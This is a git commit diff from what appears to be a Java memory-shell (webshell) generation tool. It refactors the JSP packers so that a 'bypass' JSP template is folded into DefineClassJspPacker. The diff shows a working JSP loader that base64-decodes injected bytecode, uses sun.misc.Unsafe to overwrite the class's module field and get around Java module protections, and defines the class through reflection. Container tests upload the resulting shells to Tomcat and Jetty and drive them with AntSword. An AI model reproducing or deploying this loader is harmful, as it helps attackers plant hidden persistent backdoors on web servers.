refactor: combine normal and bypass JSP template

This commit is contained in:
ReaJason
2025-06-07 13:23:51 +08:00
parent 20e0660e51
commit 2ae8c14661
8 changed files with 23 additions and 56 deletions
@@ -24,7 +24,10 @@ import com.reajason.javaweb.memshell.packer.jar.AgentJarWithJREAttacherPacker;
import com.reajason.javaweb.memshell.packer.jar.DefaultJarPacker; import com.reajason.javaweb.memshell.packer.jar.DefaultJarPacker;
import com.reajason.javaweb.memshell.packer.jexl.JEXLPacker; import com.reajason.javaweb.memshell.packer.jexl.JEXLPacker;
import com.reajason.javaweb.memshell.packer.jinjava.JinJavaPacker; import com.reajason.javaweb.memshell.packer.jinjava.JinJavaPacker;
import com.reajason.javaweb.memshell.packer.jsp.*; import com.reajason.javaweb.memshell.packer.jsp.ClassLoaderJspPacker;
import com.reajason.javaweb.memshell.packer.jsp.DefineClassJspPacker;
import com.reajason.javaweb.memshell.packer.jsp.JspPacker;
import com.reajason.javaweb.memshell.packer.jsp.JspxPacker;
import com.reajason.javaweb.memshell.packer.jxpath.JXPathPacker; import com.reajason.javaweb.memshell.packer.jxpath.JXPathPacker;
import com.reajason.javaweb.memshell.packer.mvel.MVELPacker; import com.reajason.javaweb.memshell.packer.mvel.MVELPacker;
import com.reajason.javaweb.memshell.packer.ognl.OGNLPacker; import com.reajason.javaweb.memshell.packer.ognl.OGNLPacker;
@@ -68,7 +71,6 @@ public enum Packers {
JSP(new JspPacker()), JSP(new JspPacker()),
ClassLoaderJSP(new ClassLoaderJspPacker(), JspPacker.class), ClassLoaderJSP(new ClassLoaderJspPacker(), JspPacker.class),
DefineClassJSP(new DefineClassJspPacker(), JspPacker.class), DefineClassJSP(new DefineClassJspPacker(), JspPacker.class),
BypassDefineClassJSP(new BypassDefineClassJspPacker(), JspPacker.class),
JSPX(new JspxPacker(), JspPacker.class), JSPX(new JspxPacker(), JspPacker.class),
/** /**
@@ -140,10 +142,6 @@ public enum Packers {
this.parentPacker = parentPacker; this.parentPacker = parentPacker;
} }
public static Packer getPacker(Packers packerType) {
return null;
}
public static List<Packers> getPackersWithParent(Class<?> parentPacker) { public static List<Packers> getPackersWithParent(Class<?> parentPacker) {
return Stream.of(Packers.values()).filter(p -> Objects.equals(p.getParentPacker(), parentPacker)).collect(Collectors.toList()); return Stream.of(Packers.values()).filter(p -> Objects.equals(p.getParentPacker(), parentPacker)).collect(Collectors.toList());
} }
@@ -9,7 +9,6 @@ import com.reajason.javaweb.memshell.packer.Packer;
import java.util.Base64; import java.util.Base64;
/** /**
* @author ReaJason * @author ReaJason
* @since 2025/2/20 * @since 2025/2/20
@@ -1,34 +0,0 @@
package com.reajason.javaweb.memshell.packer.jsp;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import lombok.SneakyThrows;
import org.apache.commons.io.IOUtils;
import java.nio.charset.Charset;
import java.util.Objects;
/**
* @author ReaJason
* @since 2024/11/26
*/
public class BypassDefineClassJspPacker implements Packer {
String jspTemplate = null;
public BypassDefineClassJspPacker() {
try {
jspTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell2.jsp")), Charset.defaultCharset());
} catch (Exception ignored) {
}
}
@Override
@SneakyThrows
public String pack(GenerateResult generateResult) {
String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
String injectorClassName = generateResult.getInjectorClassName();
return jspTemplate.replace("{{className}}", injectorClassName).replace("{{base64Str}}", injectorBytesBase64Str);
}
}
@@ -14,11 +14,13 @@ import java.util.Objects;
*/ */
public class DefineClassJspPacker implements Packer { public class DefineClassJspPacker implements Packer {
String jspTemplate = null; String template = null;
String bypassTemplate = null;
public DefineClassJspPacker() { public DefineClassJspPacker() {
try { try {
jspTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell1.jsp")), Charset.defaultCharset()); template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell1.jsp")), Charset.defaultCharset());
bypassTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell2.jsp")), Charset.defaultCharset());
} catch (Exception ignored) { } catch (Exception ignored) {
} }
@@ -29,6 +31,11 @@ public class DefineClassJspPacker implements Packer {
public String pack(GenerateResult generateResult) { public String pack(GenerateResult generateResult) {
String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str(); String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
String injectorClassName = generateResult.getInjectorClassName(); String injectorClassName = generateResult.getInjectorClassName();
return jspTemplate.replace("{{className}}", injectorClassName).replace("{{base64Str}}", injectorBytesBase64Str); String template = this.template;
if (generateResult.getShellConfig().needByPassJavaModule()) {
template = bypassTemplate;
}
return template.replace("{{className}}", injectorClassName)
.replace("{{base64Str}}", injectorBytesBase64Str);
} }
} }
+6 -9
View File
@@ -1,7 +1,4 @@
<%@ page import="java.lang.reflect.Method" %> <%
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.net.URLClassLoader" %>
<%@ page import="java.net.URL" %><%
String base64Str = "{{base64Str}}"; String base64Str = "{{base64Str}}";
byte[] bytecode = null; byte[] bytecode = null;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
@@ -16,22 +13,22 @@
Object unsafe = null; Object unsafe = null;
Object rawModule = null; Object rawModule = null;
long offset = 48; long offset = 48;
Method getAndSetObjectM = null; java.lang.reflect.Method getAndSetObjectM = null;
try { try {
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe"); Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
Field unsafeField = unsafeClass.getDeclaredField("theUnsafe"); java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true); unsafeField.setAccessible(true);
unsafe = unsafeField.get(null); unsafe = unsafeField.get(null);
rawModule = Class.class.getMethod("getModule").invoke(this.getClass(), (Object[]) null); rawModule = Class.class.getMethod("getModule").invoke(this.getClass(), (Object[]) null);
Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null); Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null);
Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class); java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", java.lang.reflect.Field.class);
offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module")); offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class); getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
getAndSetObjectM.invoke(unsafe, this.getClass(), offset, module); getAndSetObjectM.invoke(unsafe, this.getClass(), offset, module);
} catch (Throwable ignored) { } catch (Throwable ignored) {
} }
URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); java.net.URLClassLoader urlClassLoader = new java.net.URLClassLoader(new java.net.URL[0], Thread.currentThread().getContextClassLoader());
Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); java.lang.reflect.Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
defMethod.setAccessible(true); defMethod.setAccessible(true);
Class<?> clazz = (Class<?>) defMethod.invoke(urlClassLoader, bytecode, 0, bytecode.length); Class<?> clazz = (Class<?>) defMethod.invoke(urlClassLoader, bytecode, 0, bytecode.length);
if (getAndSetObjectM != null) { if (getAndSetObjectM != null) {
@@ -304,7 +304,7 @@ public class ShellAssertionTool {
public static void assertInjectIsOk(String url, String shellType, ShellTool shellTool, String content, Packers packer, GenericContainer<?> container) { public static void assertInjectIsOk(String url, String shellType, ShellTool shellTool, String content, Packers packer, GenericContainer<?> container) {
switch (packer) { switch (packer) {
case JSP, ClassLoaderJSP, DefineClassJSP, BypassDefineClassJSP -> { case JSP, ClassLoaderJSP, DefineClassJSP -> {
String uploadEntry = url + "/upload"; String uploadEntry = url + "/upload";
String filename = shellType + shellTool + packer + ".jsp"; String filename = shellType + shellTool + packer + ".jsp";
String shellUrl = url + "/" + filename; String shellUrl = url + "/" + filename;
@@ -57,7 +57,7 @@ public class Jetty11ContainerTest {
ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_LISTENER,
ShellType.JETTY_AGENT_HANDLER ShellType.JETTY_AGENT_HANDLER
); );
List<Packers> testPackers = List.of(Packers.JSP, Packers.BypassDefineClassJSP, Packers.JSPX); List<Packers> testPackers = List.of(Packers.JSP, Packers.DefineClassJSP, Packers.JSPX);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers,
null, List.of(ShellTool.AntSword) null, List.of(ShellTool.AntSword)
); );
@@ -61,7 +61,7 @@ public class Tomcat11ContainerTest {
ShellType.AGENT_FILTER_CHAIN, ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE ShellType.CATALINA_AGENT_CONTEXT_VALVE
); );
List<Packers> testPackers = List.of(Packers.JSP, Packers.BypassDefineClassJSP, Packers.JSPX, Packers.AgentJarWithJREAttacher); List<Packers> testPackers = List.of(Packers.JSP, Packers.DefineClassJSP, Packers.JSPX, Packers.AgentJarWithJREAttacher);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword)); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
} }